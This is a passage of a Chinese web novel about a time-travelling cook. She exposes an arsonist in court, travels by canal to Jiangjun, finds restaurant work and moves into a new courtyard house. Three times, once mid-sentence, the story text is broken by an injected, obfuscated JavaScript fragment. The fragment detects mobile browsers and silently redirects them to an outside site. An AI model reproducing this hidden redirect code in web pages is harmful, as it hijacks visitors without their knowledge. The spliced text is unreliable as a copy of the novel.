陈县令刚想继续问下去，东家又开口，“但小周平日为人和善，和店里的伙计都相处得不错，万万做不出这等事的呀！” 李莽也在边上默默点头，之前自己被名气蒙了心，好几日对她没有好脸色，周瑶理过后也没疏远他。 “东家良善，看我孤身一人便收我做了酒馆的厨子。”周瑶理边说边往黄蛮身边走，“但此人从我第一天进云禾起便处处与我作对，栽赃陷害！” 一想到之前被人污蔑做菜不干净她就来气，虽然那次是对家有意为之，但将火引到她身上的人却是黄蛮。 “大人可曾记得九月十五青乌巷走水一事。” 陈县令记得，那场火起得莫名其妙，当时只断为天干物燥，自然为之。 “并非，前几日我在家中寻得能指向歹人的证据。” “你撒谎！” 周瑶理话还没说完，黄蛮便着急开口。 他不可能留下东西的，火折子当时都捡走了，她肯定又在给自己下套。 “肃静！”县令被他吵得头疼，本来坐久了腰便不适，这人还咋咋呼呼的。 “是不是真的看了就知，我家外墙上从起火那天过后便出现一个黑色脚印，尺寸看着像男人的脚。” 陈县令立马叫人前去查看，片刻过后衙役带着画好的图纸呈上。 仔细比对一番，除了摩擦过的痕迹之外，周瑶理屋子外墙的其余完整的黑迹大小和黄蛮的脚寸完全吻合。 “我问你，刚刚我可曾说过那歹人证据指向何人？”周瑶理慢慢逼近黄蛮，“你又为何笃定我在说谎？” “我没有…我只是。”黄蛮支吾说不成一句话，最终跌坐在地。 “如实招来！” 陈县令一拍桌子，黄蛮这下无可辩驳，面色惨白地自我揭露罪行。 他不明白为什么自己在云禾一年才从洗碗小工当上李莽身边的帮厨，但周瑶理只需短短几日，就可以将自己挤开。 就因为她会做些新奇的菜色？ 店里的人和周瑶理走得越近，黄蛮便越心里不满。他愤愤不平，叹自己被人抢夺先机，恨他人不识明珠。 等到厨神大赛报名后，这种情绪愈发强烈。那天见到周瑶理往家里搬鱼缸时黄蛮就恨得牙痒痒，为什么连林家的郎君都对她另眼相待。 他刚开始没想放火的，只是想要翻墙进去把周瑶理的鱼弄死而已，谁能想到那堵墙看着不高，却毫无落脚点，攀爬半天都没辙。 夜深人静又怕被巡逻的衙役发现，黄蛮只好拔开火折子扔进去。 他想，死不了人的。 “我也有帮忙的，我当天也折返帮忙灭火了！”黄蛮跪挪到周瑶理面前，伸手想抓住她的裙摆，却被躲开。 “那不叫帮忙。若不是你，根本就不会走水。”周瑶理生气，都到这时候了他还想为自己开罪。 最终陈县令依照律法定案，盖章画押。 “罪人黄蛮夜间在外逗留，犯《宵时禁令》，无故点燃他人房屋，违反《朝律疏议》等四项罪名，综上罪状判牢狱十年。” 此外，黄蛮还得赔偿周瑶理十两银钱。 尘埃落定后，周瑶理自己分了四两，拿着剩下的六两银子去了当时租房子给她的刘婶店里。 刘婶死活不肯收下钱袋子，她也是心疼的。小姑娘只身一人从外乡来，老老实实本本分分靠双手谋生，奈何遇上这事儿。 周瑶理平时鲜少会因为房子的事情寻她，每月赁费更是从不拖延，刘婶是打心底喜欢她。 “这本就该刘婶拿着。”周瑶理强硬将荷包塞进对方手中，说实话她心里不免有些惭愧。 自打大火过后，她还未曾亲自向刘婶说明情况，就连后续解决方案也没个声响。 房屋修缮是大事，得费不少银子，更何况对方纯属无妄之灾。 无奈之下刘婶只好收下，叮嘱她下回想租什么样的房屋定给她减价。 “那就多谢婶子，不过我就要离开这了。”周瑶理笑着说。 是的，她要奔赴下一程，往更远的地方走去。 离开前昌南道前，系统久违地出现一次。 “恭喜挑战者成功取得第一阶段胜利，本系统将按照惯例发放奖励。” 奖励分为三种。 第一种是一个重量极轻但永远砸不破的铁锅，名厨推荐。 第二种是十两银子。 最后一样则是伤药大礼包，内含各类药品，包治百病。 “你可以随意挑选一样。” 周瑶理翻了个白眼，居然不是全送？这也太抠了。 她选择最后一样。 锅有点难带走，搬家最主要的就是轻装上阵；银子嘛，周瑶理平时除了和沈秋瑜去逛书肆，基本不怎么花钱。荷包鼓鼓囊囊的，十两银子暂且看不上。 伤药就不一样了，虽然中医不可小觑，但毕竟不是遍地大夫。有了伤药大礼包，以后感冒头疼之类的小病，她就不需要着急忙慌找医馆。 离开的时间定在三天后，走水路。 周瑶理想好了，水路是最适合她出行的路线。若是走陆路，到时候一入夜她完全无处可藏。 林嘉行也跟她一起离开。 周瑶理刚听到时还有点意外，她以为昌南道的支线结束后二人就要分道扬镳，没想到居然还能绑定在一起。 “不管你去哪儿，我肯定是要跟着一块儿去的。”林嘉行如是说道。 文竹在一旁笑得眼睛都快看不见了，他家郎君什么时候学会这么多追求小娘子的蜜语了。 果然书没白看！ 当天，林章不舍地送他俩出门。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955198|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>其实他还是很喜欢这个侄儿的，虽然平时沉默寡言些，但几月下来不曾惹是生非。因为他，自己和言安主家的联系都勤快不少。 “闲侄儿路上一定注意安全。” “我省得的，堂叔珍重。” 二人同林家人道别后挑战马车，赶往码头。 沈秋瑜已经在码头等候多时。 她本不想来的，免得徒增伤心。但想到也许这是最后一次见面机会，还是命人套马，早早赶到。 “此次一别不知何时再见，你一定要保重。”眼眶微红地看着周瑶理，想再说些什么，奈何一开口眼泪就止不住在眼眶打转。 怕周瑶理笑她，撇过头擦去眼角的泪珠。 “好啦，又不是生离死别。”周瑶理拉过她的手，企图逗她笑。 沈秋瑜现在最听不得死不死的话，连忙让她呸三啥声。 无言对视一会儿，周瑶理伸手拦住沈二娘子，趴在她肩上轻声告别。 “好好吃饭，别天天见了书就走不动道。等到新地方安顿好，我再给你写信。” 说罢从怀里掏出信递给她，自嘲说正好检查下沈老师几个月的教学成果。 信是周瑶理连夜写的，临近离别她最放心不下的就是沈秋瑜。 她其实很怕别人突入其来的好意，怕对方图谋不轨。初初收到沈秋瑜的好意时她也很防备，不知道对方想从自己身上得到什么。 她一穷二白，她毫无家世。 周瑶理想不通，沈秋瑜对自己这么好到底是为了什么。她甚至想过，是不是系统安排给她的金手指。 最后发现，不是的。沈秋瑜纯粹就是个书痴。 她想，可惜了，这姑娘要是在现代绝对是个学霸，清北的料子。 瑜娘愿意因为周瑶理随口一句话而对她发出善意，处处为她着想。 周瑶理夜深人静时经常想，自己真坏啊，居然这么揣测她。 第二天起床就会开始琢磨对方喜欢吃什么，下次见面再带给她。 所以昨晚躺下床准备休息的周瑶理又紧急爬起来，铺纸磨墨写信一封。 「瑜娘亲启， 备下笔墨竟不知从何写起，过多关怀的话只怕人觉得麻犯。 不知不觉我来昌南道已有三月之久，尤谢瑜娘这段时日体贴关怀。 初见只觉你我二人有所距离，应是毫无联系，未曾想能与你相识相交。 多亏瑜娘提点，如今我识得的字足以令我写下书信，自觉得意。 时至今日才想起，竟从未听闻瑜娘吐露烦闷之事，实是我的不该。细细回想，卿卿应是被姻缘困扰许久。 我本无立场对此多说什么，但总觉寻常男子不及你半分。我盼你好，盼你越过世俗烦闷追逐内心。若有书院，瑜娘定是顶顶好的老师。 临近分别，心中自有百叙无从书，惟愿卿卿得偿所愿。 周瑶理书」 文竹在身后催促她上船，周瑶理不舍地和沈秋瑜道别，转身头也不回地走入人群。 “周姑娘不要伤心，定会再见的。”文竹思来想去，干巴巴地安慰她。 周瑶理闻言笑着点头，虽然是不怎么管用的安慰，但也是好心。 说起来她还是第一次坐这种古老的船只，好奇得很。 林嘉行让她悠着点，他们得在海上飘一个月。 25. 嚯！解锁新地点 如林嘉行所言，周瑶理三人在海上整整飘了一个月才到目的地。 虽然入夜后周瑶理就回到现代，一天中在船上的时间不算太久，但一个月下来也遭不住。 每天睁开眼，迷迷糊糊中总感觉自己睡在水球上晃来晃去，就是不晕船也难受得很。 下船时她脚步都有点虚浮，全靠林嘉行撑着她。 “不行，下回不走水路了。”周瑶理有气无力说道。 “周姑娘再忍忍，咱们已经到江郡了。”文竹接过周瑶理的包袱，跟在后头安慰她。 周瑶理闻言这才打起精神仔细观察。 原来这里就是江郡，和昌南道果然不同。 要更繁华些。 热闹的街道、来往的人群，配上远处的青瓦白墙和脚下的青石板，周瑶理总觉得好像上学时学到的古诗词，像诗人笔下的世界。 如水墨画一般。 欣赏美景时总会出现些不合时宜的声音，比如咕噜噜的饥肠辘辘声。 站在前头的周林二人转头看向文竹，只见对方不好意思地笑了笑。 确实到饭点了。 船上虽说有厨房，但不给船客用。他们平时只能从船商那购买三餐，此外再无其他。 再加上时不时的狂风，船只摇晃得人没什么胃口。走一个月水路，三人肉眼可见地消瘦不少。 自从知道今天靠岸，文竹就没吃多少东西。 “走吧，我们去找家饭馆。”周瑶理缓得差不多，脚下慢慢恢复气力。 临近岸边的缘故，这里的小吃摊挺多，但饭馆却没见几家。好不容易寻到家饭馆，三人也不管店家生意好坏，直接进去落座点单。 “客官请稍等。”跑堂见来了客人，立马端来茶水斟上。 “你们店有啥招牌？”周瑶理在店内四处张望，打量内部装横。 精致，高雅。 店小二叽里咕噜报了一长串儿菜名，周瑶理听得云里雾里，综合剩余俩人的口味后随便点了几道。 “上菜快点。” “好嘞！”店小二手巾一甩，掉个个儿就钻进厨房。 半响功夫，菜盘一个接一个端上，周瑶理看着菜色着实熟悉，但又说上来感觉。 林嘉行瞧她举箸不动以为她还不舒服，得到回复才放心动筷。 “等会儿吃完咱们先去寻家客栈住几天。” 周瑶理闻言点头赞同。 初赛定在年后，许是为了方便晋级的厨子赶路。 他们怕在路上出什么岔子耽搁了，一解决完昌南道那边的事情便马不停蹄赶过来，所以来得比较早，大部分入围的庖厨估计这会儿才刚开始动身。 三人初来乍到也没有定所，这几天估计也只能住客栈过渡。 现在才十一月份，等到开赛那天还有三俩月呢，看样子得留在江郡过年了。 即使如此，房子非租不可。 吃饱喝足三人开始走街串巷找客栈去，但连续看了几家都不行。 要么房间太小，要么位置太偏，周围没什么饭馆不方便周瑶理找工作。 虽然只在这住几个月，但她还是想寻份活计。 既不荒废厨艺又能深入探索江郡人的饮食爱好，一箭双雕。 这条街不行就去另一条，三人再次来到一所看着还过得去的客栈。 掌柜的一看他们是外乡来的，准备敞开肚皮大宰特宰他们一顿。谁知撞钢板上了，林嘉行学的酒店管理。 店家“黑刀”都没出鞘，就被他批得一无是处。 林嘉行把客栈从上到下从左到右狠狠挑了番刺，最后撂下句地理位置这么差还敢要价这么高，趁早关门算了。 周瑶理在边上看得一愣一愣的，林嘉行每天看着一副淡淡的样子，她还以为对方无欲无求呢。 居然还有这么“泼辣”的一面。 最终还是店里一位看不过眼的阿姐走过来告诉他们，另一边的坊有很多客栈，让她们去那儿寻。 三人出了客栈直奔对方说的坊间，果真如那位阿姐所说，要比之前的坊热闹许多，周边也有很多铺子。 周瑶理选了家地理位置还算不错的客栈，拽了拽包袱走进去。 “客官是打尖还是住店？” “住店，三间。” “二楼靠右三间厢房，客官小心脚下。”店小二带他们上楼。 住处定下来后周瑶理紧绷一天的神经终于松下，再找不到住的地方，她得在街上表演大变活人了。 一早起床看见陌生的环境周瑶理还有些不习惯，天气也逐渐变冷，干脆钻回被窝再睡个回笼觉。 直到门被敲响，外头传来林嘉行喊她下楼吃早餐的声音，周瑶理这才依依不舍地从被窝离开。 “等我，亲爱的被窝。”她晚上就回来！ “热乎的豆浆来咯，客官小心！” 店小二端着早点匆匆赶来，周瑶理跟人道谢后端起豆浆在碗边轻抿一口。 舒服了！果然冬天的早上就得吃点温热的。 “等会儿我去交子铺取钱，你跟我一起吗？”林嘉行掰开半张烧饼递给她，顺道问问她接下来的行程。 此次远行他没太多盘缠傍身，但好在从言安离开时，老太太往他包袱里塞了林家在交子铺的凭证，让他有需要再去取银两。 先前在昌南道时住在堂叔家，没啥花钱的地方，便一直放着。 这次到江郡得自己租房，光靠他身上那点钱肯定不够租一套房子。 “我就不跟你们去了。”周瑶理另有打算。 昨天着急找客栈没有机会体会下当地的风土人情，今天她准备到处走走逛逛，顺便看看周边的风景。 “带钱了吗？路上注意安全。”出门前林嘉行还不忘叮嘱道。 周瑶理一一回答，最后挥手朝反方向走去。 昨日到码头时周瑶理就知自己肯定会喜欢江郡的，她太了解自己了。 一路上都是高低错落的青瓦白墙，不远处高高隆起的洞桥，还有脚踩的青石板。 连路上的行人都显得悠闲不少。 街边的叫卖声此起彼伏，摊子前散着白烟。 卖东西的、买东西的，全都将手揣在衣袖里头。只有有生意的小摊贩才会将手露在外面，着急忙慌为娘子郎君挑拣食物，随后又缩手回袖。 江郡称得上水乡，就连在镇里也能随处可见河流。既有河流，定有闲亭。 一大早的还落了雪，都阻止不了人们寒风中坐在亭子赏雪。 是的，昨夜下雪了。 雪落一夜，周瑶理今早打开窗就看见外面白茫茫一片连着天，伸手还能接到雪花。 可惜冰得她立马收回手。 总的来说，江郡这地方一定很富足。即使如此，那么她找工作就方便许多。 人们这么安居乐业饭馆又那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962875|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么多，她就不信凭借入围赛的姓名牌会找不到一份厨子的工作！ “好冷啊。”周瑶理边走边搓手取暖。 先前不知道这里的天气如何，怕行李太重出发前她便随便买了几件衣裳，厚外套只有两件夹棉褙子。 谁知道居然下雪！ 系统不厚道，居然不提醒她。 走在街上总感觉自己的腰侧处有怪异感觉，还以为是被过路行人不小心碰着了。 转念一想不对啊，过路擦碰怎么会持续那么长时间。 转过头就发现有个小屁孩试图解她腰带侧边挂着的荷包，周瑶理绑得死，轻易拽不下来。 那小孩察觉她发现了，情急之下拽开了。刚刚解半天，这会子终于松动了。 对方抢了荷包就跑。 “诶你这孩子怎么不学好呢！”周瑶理伸手去摸却没来得及按住，迈步追出去。 这时身后有个年轻郎君飞过，一路朝小男孩离开的方向追去。 好在那郎君跑得快，周瑶理还没追上他就拎着荷包回来。 “姑娘瞧瞧，里面的东西可有丢缺。”男子举起荷包递到她面前。 周瑶理接过荷包一摸就知道啥都没丢，笑着和人道谢。 “不用看了，没丢。”说罢还打开袋子给对方瞧了。 里头除了几个铜板，还有三两块无聊时可以把玩的陶球。 周瑶理谨慎得很，深知鸡蛋不能放在同个篮子里。所以光是放钱的袋子就有三个，全部揣在怀里。 其余比较贵重的东西则寄放在林嘉行随身携带的小箱子里面。 他那个箱子带锁，安全。 不过还是要谢谢人家费大劲儿帮她抢回荷包，周瑶理说什么都要请对方吃饭。 “姑娘客气了，举手之劳罢了。”对方摆手，还叮嘱她天冷得多穿件衣裳。 “瑶娘。” 周瑶理闻声转头去，就看见林嘉行抱了件披裘走过来。 “这是？” 林嘉行走近了看向对面的男子，低声问道。 周瑶理将先前发生的事情简单轻笔带过。 “多谢郎君。”说罢，林嘉行掸开裘子给周瑶理披上， “咱们来得急路上也没准备厚衣裳，刚刚路过成衣铺便给你买了件披裘。” 对方见周瑶理只身一人本想送她回去，看到林嘉行和她关系亲近，心道估计是她的兄长。 “既然姑娘家人已到，在下就不送了。” 周瑶理目送人家离开，末了还说有空请他吃饭。 “你怎么找到我的？”周瑶理裹紧裘子缩在毛领子底下，闷声说道。 林嘉行这件外套来得太及时了，她差点就要冻僵了。 “我以为你先回客栈来着，买完衣服想着随便看看，没想到就撞见你了。” 林嘉行没说，他大老远的就看见周瑶理穿得单薄站在一男人面前，还以为对方是来找事的，便加快脚步赶过来。 谁让那人穿得多。 “没有手机还挺麻烦的。” “可不是嘛！” 周瑶理点头，不是挺麻烦，是非常之麻烦！ 俩人聊得欢，只剩跟在后面的文竹满头雾水。 他怎么听不懂郎君和周姑娘在聊什么？手机又是何物？ 老太太说的书中自有黄金屋果真没骗他，看看郎君和周姑娘饱读诗书，尽说些他听不懂的话。 26. 谜题出现在谜面上 林嘉行找了多久的房子，周瑶理就找了多久的工作。 她只想着江郡这的饭馆多，肯定有店家愿意收她的，却忘了职业人员饱和的问题。 太多厨子了。 这几天周瑶理走进饭馆酒楼刚说自己是来应聘做饭的，人家掌柜的都没听完就拒了，说是厨房不缺人。 也有缺的，但主家一听她是外乡口音，担心周瑶理不会做本帮菜，她只好遗憾退场。 接连几天碰壁，周瑶理看上去都没什么活力，已然看不到刚到江郡时的那股兴奋劲儿。 林嘉行让她别气馁，反正他们房子也没找到，万一先定了房子再找到离家远的馆子，每天还得起个大早去上工。 不值当。 “有点道理。”周瑶理趴在桌子上翻了个面懒懒点头。 暂时找不到工作和无止境的早起相比，她觉得目前的状态还是蛮好的。 再说了她只在附近转悠，另一边的坊还没去呢。 萎靡一周后，周瑶理总算找到家缺厨子又不限当地人的馆子。 这家饭馆最近刚开张，店里头正是缺人的时候。掌柜的看有人上门自荐厨子高兴得不行，但一听来人不是江郡人又有些退却。 不是本地人呐，那白搭。 “掌柜的担心，虽然不是江郡人但我悟性很高的，我可以学！”周瑶理看见对方胡乱四处瞟的眼神便知，估计又得吹了。 但这次她想再试一把，打出自己其实是来参加厨神大赛的名号。 “厨神大赛？你是入围的厨子？”一直待在帐台那儿关注这边动静的娘子闻言走过来。 周瑶理点头：“我来得太早，寻思着想找个活计顶一阵。” 说罢掏出赛事姓名牌递过去。 娘子接过一看还真是，上头有名字和官府的章印。 周瑶理见还有转机，立马表明虽然不会当地菜，但在昌南道时也是个小有名气的庖厨呢，现在就可以上厨房做两道菜出来。 对方正等她这话，马上就就应下了，让人领了她去厨房。 饭馆刚准备开张后厨食材也不多，周瑶理随便挑捡些看起来能用得上的，简单做了两道家常菜。 “手脚还算麻利。” 女掌柜对她称得上满意，尝了几口菜后更是决定留下她。 “娘子…”一开始准备拒绝的男人皱眉。 他们店才刚起步就找了个不会做本帮菜的外地厨子，以后饭馆哪有生意可言。 “啧，店里谁说了算？”娘子不爽地将算盘拍桌上，双手叉腰。 那男人立马低眉顺眼起来。 原来是两口子。 “再说了店里不也有个会做江郡菜的厨子吗！”掌柜的拧眉没好气说道。 总而言之，周瑶理的工作算是有着落了。 “周姑娘回来了！”文竹抻长脖子往门口看半天，终于瞧见周瑶理走进客栈，急忙迎上去。 林嘉行看她脸色比昨两日好看许多，猜到今天估计有好消息。 果然。 “嘿嘿，我找到要我的馆子了。” 林嘉行笑着给她倒茶，说她前两天太过忧虑了。 周瑶理接过茶杯，反过来问他房子找得怎样了。 林嘉行提壶的动作一顿，随即摇摇头。 “没关系，反正咱们有的是时间和银子。”周瑶理见状抬手在他肩膀上轻拍几下，安慰道。 他们也就在江郡待三个月，完全可以住客栈的。等到时候初赛一过，若是没能晋级再做打算也不迟。 刚好她也找到工作了，东家每个月给她开三贯钱，比在云禾时还多一贯。 林嘉行被她逗笑，刚想说话恰巧遇上店小二上菜。 等人走后才说不用她操心银子的事，再怎么样都不会让周瑶理流落街头的。 “倒不是没找着房子。”林嘉行想来想去还是跟她汇报今天的战况。 他今天去看了两套院子，其中一套位置太偏就不考虑了。另一座院子还成，格局都不算太差，还在选择范围之中。 但周瑶理找到要去的饭馆后，他就不纠结这套了。 太远了，就是坐马车她都得花一炷香的时间才能到馆子。 “不就是起得早些嘛，谁没上过早八呢！”周瑶理无所谓摆手。 “周姑娘什么叫早八？”文竹听着有些疑惑，这词儿没见过。 周瑶理顿住：“呃，小孩子不懂的，多吃饭。” 林嘉行：“行了，明天你安心上工去，不用担心房子的事。” 新饭馆的另一个厨子姓陈，看起来憨厚老实的样子。对方见周瑶理第一面就让她喊自己陈娘就行。 “小周你来，今儿教你做碎金饭。” 周瑶理听到这仨字儿略微皱眉，听着好耳熟？ 碎金饭讲究蛋松，将打散的鸡蛋从高处缓慢倒入油锅中，与此同时另一边拿铲子的手不停在锅中搅拌。 快速搅拌中蛋液逐渐形成丝状，再捞出控油备用。 “碎金饭里头鲜三套不可少。”那就是虾仁、火腿丁和瑶柱丝儿。 虾仁简单煸煎即可，而后两样必须爆香至金黄状。 周瑶理看陈大厨一通操作，内心的疑惑更明显，脸上更是说不出的震惊。 这不是扬州炒饭吗？ 难怪刚开始听到那三个字时就觉得在哪儿见过，之前刚开始干美食博主这行懵懂无知，网上火什么她就跟着做什么。 有段时间全网都在做扬州炒饭，周瑶理也想蹭点热度。 她记得当时还去找过资料，碎金饭就是其别名，或者说更古早的叫法。 晚上吃饭时，碍于文竹也在边上周瑶理不好直接跟林嘉行说自己今日的发现，好不容易逮着小文不在的功夫，一把拉过他的胳膊凑近。 “重大发现！等我有依据再跟你细聊。” 林嘉行被她说一半藏一半的举动吊足胃口，把自己想说的话都忘了。 等想起来时周瑶理已经噔噔噔跑上楼，说是要早点梦周公。 林嘉行：“…刚吃饱不建议睡觉。” 对了，他想起了方才想说什么来着。 找到房子了，但要她选心仪的那座院子。 二十一世纪。 “果然有原型！”周瑶理一整天都窝在电脑前查资料，终于确定这个副本并非凭空捏造的，而是融入许多真实朝代背景。 就如江郡便是以扬州为背景参考，也难怪有碎金饭。 那昌南道又是哪儿？ 周瑶理猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968336|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地回想起那边瓷窑众多，就连瓷泥都豪横地用在制作美食上。 能做到这地步的，也就只有瓷都了。 “不对啊，为什么我之前没想到？” 事到如今周瑶理开始逐步复盘，越发觉得自己刚开始那一两个月就跟被人下了降头一般。 越想越气，干脆把系统喊出来。 “坦白从宽抗拒从严，你是不是搞小动作了。”周瑶理双手抱胸对着空气自言自语。 系统如死一般寂静。 “再装死我就不玩了。”周瑶理威胁道。 这下那个许久没听见的女声才小声开口，确实是她干的。 “是中心这么要求的，毕竟挑战者选的是白手起家嘛…” 周瑶理噌地从椅子上跳起来，她什么时候选了！ 系统：“好吧我替你选的，但是很有意思不是吗？” 周瑶理：“我看你最有意思。” 最终系统和她约定从现在起绝不做妖，一定当好周瑶理在雍都的好帮手！ 但金手指免谈。 雍都。 用过晚饭，周瑶理在林嘉行门口疯狂敲门，“是我开门。” 林嘉行刚开一条缝就见她像泥鳅一样钻进来，手上还捏着纸笔。 对方毫不客气地在屋内的椅子坐下，俨然一副主人家模样，“你这有墨没？” “反正就是这么回事儿！”周瑶理将笔一扔，舒坦叉腰。 她昨天细细琢磨一番，按照她入夜便消失的特性，走水路肯定是系统事先就设想好的，笃定她会这么做。 因此断定她们从昌南道行至江郡，有九成机率走的大运河路线，而终点就是言安。 或者说，洛阳。 若是按照京杭大运河为基底，那么扬州到洛阳中间还有两站，即是商丘和开封。 可是抛开扬州这站，她只剩下两场比赛。 中间这两站必选其一，周瑶理笃定会是开封。 林嘉行还没反应过来，只知道周瑶理火急火燎地跑进他房间，又在纸上写写画画，最终告诉他下一站去开封。 林嘉行：“为什么是开封？” 哪儿来的依据。 周瑶理挑眉：“因为，开封有个包青天。” 只见林嘉行从椅子上站起来走到窗边一把推开，哈气搓手。 “我说怎么有点冷，下雪了吗？” 周瑶理刚开始还不知道他干嘛去，听完林嘉行的嘲讽，捞起桌上的纸团成团扔过去。 林嘉行抿嘴笑着躲开，张手接住纸团走回来。他就想逗逗周瑶理，等会儿把人惹急眼了还得道歉。 “下一站去哪儿到时再说，但是我们有房子住了。”林嘉行收起笑，正经跟周瑶理说起当务之急的大事。 不妄他走街串巷地跑，最终定下两套院子。 就是不知道她喜欢哪套。 “我都行，你安排吧。” 周瑶理对住的地方没意见，毕竟房租又不是她付。 她和林嘉行商量好了，周瑶理作为剧情主要推动者负责精进厨艺，争取一次拿下厨神大赛，早日带他回现代。 林嘉行则负责后勤工作，并且所有需要用到银子的地方都由他承包。 谁让他有钱呢！ 27. 乔居新喜 第二天一早，周瑶理出门前就将行李扔给林嘉行，着急忙慌跑下楼直奔饭馆。 今天他们要搬家，正式从客栈退房。奈何周瑶理还要上工，只好将行李丢给林嘉行让他带过去。 等周瑶理出门过一会儿，林嘉行去账台退厢房，方才带着文竹赶往他们在江郡的房子。 “郎君，都按照你的吩咐找好了。” 他还在内院四处看看有哪里需要修缮的地方，就听见背后传来文竹的声音。一转头便瞧见对方身后跟了七八个年轻丫头郎子。 文竹昨日就去人牙子那儿挑了几个看起来手脚麻利的人，外加一个浆洗婆子。 签的工契，并未画身押。 底下的人都吩咐干活去，文竹跟在林嘉行身后听他安排其他事务，一一记下。 突然想到周瑶理宝贝她那些金条银子得紧，林嘉行让文竹盯着点，别让人动她东西。 “小的这就去。” 这房子许久没住人，轻轻一碰便摸得满手灰。丫头们提了一桶接一桶的清水，不一会儿就又提着黑水出去。 才刚洗到第二间屋子，就见那位来挑人的郎君立在门口。屋内的人还以为自己犯了什么差池，全都停下动作紧张站着。 眼前这个活计是顶顶好的，既包吃住又不用卖身契，谁都不愿意被主人家辞了去。 “我家姑娘不喜别人动她东西，还望各位擦洗时注意着点。”文竹抬手指了指桌上的包裹说道。 “诶，省得的。”众人这才放下心，重新捡起手中的活。 傍晚下了工周瑶理摘下襻膊就往外跑，只来得及跟掌柜的打招呼。 “小周不吃了再回去？”掌柜的可喜欢这姑娘，干活利落不说，脑子还好，人长得也好看。 她之前只说了句碎金饭有些过火了，第二天周瑶理就掌握了技巧，做出来的和本地厨子经手的毫无二别。 “多谢掌柜的，家里人等着我回去呢。”周瑶理丢下句话便急匆匆往外跑。 刚出门就文竹立在外头等她了。 “等久了吧。”撑住对方递来的手，周瑶理一把跳上车。 马车驶出一段路程，周瑶理问他离得远吗？ 文竹递上茶水：“放心吧姑娘，不远的。” 因着她没什么意见，林嘉行便按自己的意思，定了离周瑶理做活的饭馆稍近一些但占地小点的二进院子。 只要坐马车一刻钟便可到饭馆。 “周姑娘，咱们到了。” 周瑶理跳下车看着面前的大院子感慨，自己也是过上好日子了。 这时门房走出来，说是郎君在家中等候许久。 二人跨过门槛走进去。 打眼儿看到的便是一堵屏风样式的独墙，正对门口。 周瑶理不解问道，“这怎么还放堵墙在那儿。” 文竹说是照壁，大多数人家中前院都有的。 周瑶理点头，充门面用的。 以照壁为正，左右两侧各开一个月洞门。 右侧占地小些，只做马厩，里处还有间门房的卧处。 往左走进了月洞门，眼前就开阔许多。 入眼是景观花坛，现在被层层白雪盖住，若是逢春又回是另一番景象。 再往里走还有扇叶页门，靠墙的几间屋子被叶页门隔开。 周瑶理疑惑这也有房间吗，住在临街的方位未免太吵些。 不过雍都有宵禁，倒也能理解。 “这是下人住的。” 靠外的是小厮住处，叶页门内的则是女侍屋子。 想着林嘉行估计等久了，周瑶理随文竹脚步跨过垂花门，这才真正进了内院。 以垂花门为轴，左右两侧是条抄手游廊，首尾相连以回字型将内院包裹，顺着游廊即可通向东西厢房。 而靠近垂花门那侧的转角，在左右各设耳房一间。 左侧做浴室用处，右侧则是小厨房。 “我住哪间啊？”周瑶理左右拨头瞧了瞧，两间厢房好像差不多大，没什么好挑的。 “姑娘不住这。”文竹声音中带着笑意。 说罢引她继续深入。 周瑶理看向他要笑不笑的表情，内心疑惑。 这孩子今天看着不大聪明的样子。 俩人穿过长廊，稍转弯便走到最中间面向内院的屋子。 这时，林嘉行从里面走出来，“回来了？” 周瑶理还沉浸在住上大别墅的兴奋中，“这不会是客厅吧！” 林嘉行手背在后头，微压下腰靠近她，“聪明。” 文竹在二人身后识趣低垂眼，往后撤步。 刚走进就是一套梨花木太师椅和八仙桌居前中，两侧各放几张单独的禅椅单桌。 周瑶理上前摸一把，老物件。 得有不少年头了。 而在主人椅的背后则落一座屏，将内厅前后分成两部分。但左右两侧都留了足够人通过的空间，以便进出。 林嘉行比了个请的姿势，周瑶理不知他葫芦里卖的什么药，但也抬脚往里走。 居然是餐厅！ 难怪她刚刚路过厨房时往里瞄了眼，没见到像样的桌椅。 “这里面安有火炉，到时候郎君和周姑娘吃饭时就不会冷了。” 文竹补充道。 之前住在客栈那几天，周瑶理每晚吃饭都冻得直哆嗦。 还有扇屏风立于中间，看着像折叠屏风。 林嘉行往那方向抬手，文竹会意走上前一推，整个空间瞬时开阔不少。 “这也是客厅？”周瑶理看着眼前突然出现的空间，惊讶地看向林嘉行。 其实这才是真正的客厅，先前外头那儿应是堂屋，只招待宾客用。 眼前的‘客厅’就要温馨许多，和隔壁餐厅一样也落了个暖炉。 中间摆着低案竹坐垫，坐垫上头还铺有毛毡。 四角处各放一张高度不同的香几，形状不同的精致瓷瓶置上方。 就连翘头案上都放了笔墨纸砚。 “这里放笔墨的作用？”周瑶理拿起毛笔把玩，挑眉看向林嘉行。 “沟通用。” 